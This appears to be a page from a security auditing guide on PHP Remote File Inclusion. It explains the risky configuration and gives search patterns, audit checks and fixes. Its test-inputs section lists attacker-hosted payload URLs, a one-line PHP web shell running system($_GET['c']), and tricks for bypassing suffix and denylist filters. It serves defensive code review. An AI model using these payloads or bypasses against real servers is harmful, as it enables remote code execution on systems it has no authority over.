Remote File Inclusion (RFI)
When allow_url_fopen = On and allow_url_include = On,
include "http://attacker/x.php" fetches the remote file and executes it
as PHP. Both directives must be on; allow_url_include has defaulted Off
since PHP 5.2, but ships On in some shared-hosting setups, Docker images,
and legacy php.ini overlays.
Same code path as LFI, remote URL instead of local path.
Why
include $_GET['template']; // ?template=http://attacker.com/x.txtIf allow_url_include = On, PHP fetches the URL, reads it as PHP source,
and executes it. Game over.
When the file extension is forced — include $page . ".php" — defeat it
with a query string:
?page=http://attacker.com/shell.txt?
^ everything after is treated as query stringThe server returns shell.txt; PHP sees the URL …/shell.txt?.php and is
happy because the suffix is in the query string.
Search patterns
# Same as LFI — anything tainted reaching include / require
rg -n '\b(include|require|include_once|require_once)\b\s*\(?\s*\$' --type=php
# Specifically directly from superglobals
rg -n '\b(include|require)\b\s*\(?\s*\$_(GET|POST|REQUEST)' --type=phpCheck the config:
php -i | rg 'allow_url_(fopen|include)'allow_url_fopen controls whether fopen / file_get_contents /
include can speak URLs at all. allow_url_include is the additional
gate for include/require. RFI needs both on.
Test inputs
When you control a server (use a quick python3 -m http.server on a VPS or
an ngrok tunnel):
http://attacker.com/shell.txt— content:<?php system($_GET['c']); ?>https://attacker.com/payload.phpftp://attacker.com/x.php\\\\attacker\\share\\x.php(Windows SMB — when running on Windows)
Bypassing forced suffixes:
http://attacker.com/x?(suffix becomes part of query string)http://attacker.com/x#(suffix becomes part of fragment — server doesn’t see it)http://attacker.com/x.txt%00(legacy null-byte truncation)
Bypassing naive http:// denylists:
HTTP://attacker.com/…(case)hTtP://…- IP address:
http://93.184.216.34/… - URL encoding:
%68%74%74%70%3a%2f%2f…
Audit focus
For each dynamic include:
allow_url_include— definitively Off in every environment? Don’t trust documentation, check the running process:<?php echo ini_get('allow_url_include'); ?>.- Wrapper reach — even with
allow_url_includeOff, other wrappers (phar://,data://,php://filter) reach the include and exploit differently. See LFI. - Allowlist — is there a tested allowlist of local paths
(preferred), or are filters string-matching
..andhttp://(insecure)? - Multi-environment drift — staging may have different ini values than prod. Audit the build / deploy pipeline.
Fix
Disable allow_url_include permanently:
; php.ini
allow_url_include = OffFor Docker images:
RUN echo "allow_url_include = Off" >> /usr/local/etc/php/conf.d/security.iniIn application code, use the static-map pattern from LFI. Never construct an include path from a string that contains user input.
If you’re auditing a codebase and the allow_url_include config is
outside your control (shared hosting), assume it could be On and treat
every dynamic include as RFI-vulnerable.
Related
- LFI
- SSRF — different sink, similar input shape
- PHAR Deserialization